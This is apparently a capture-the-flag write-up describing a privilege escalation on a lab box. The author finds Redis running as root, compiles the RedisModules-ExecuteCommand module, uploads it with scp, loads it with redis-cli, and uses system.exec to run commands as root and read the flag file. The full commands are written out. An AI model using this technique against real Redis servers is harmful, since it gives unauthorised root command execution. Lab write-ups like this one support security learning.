After I read write-ups by other hackers of this challenge, I found out that most of them solved it with adding SSH keys, and I did it by installing redis module, so here is my approach.
As we start the challenge we get ssh login to start with, in privilege escalation just like everyone else I started with linpeas.sh after analysing the results of linpeas I realised soon there is nothing much in this box other than redis.
So I started with checking
Then after some research I came across this redis module.
I cloned and compiled the module in my VPS and uploaded it to the host.
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand make scp -P 30341 module.so firstname.lastname@example.org:/tmp/
Then I loaded the module, and I was able to executed the command as
root and read the flag.
redis-cli MODULE LOAD /tmp/module.so system.exec "id" system.exec "ls /root/" system.exec "cat /root/flag.txt"
Thanks for reading :)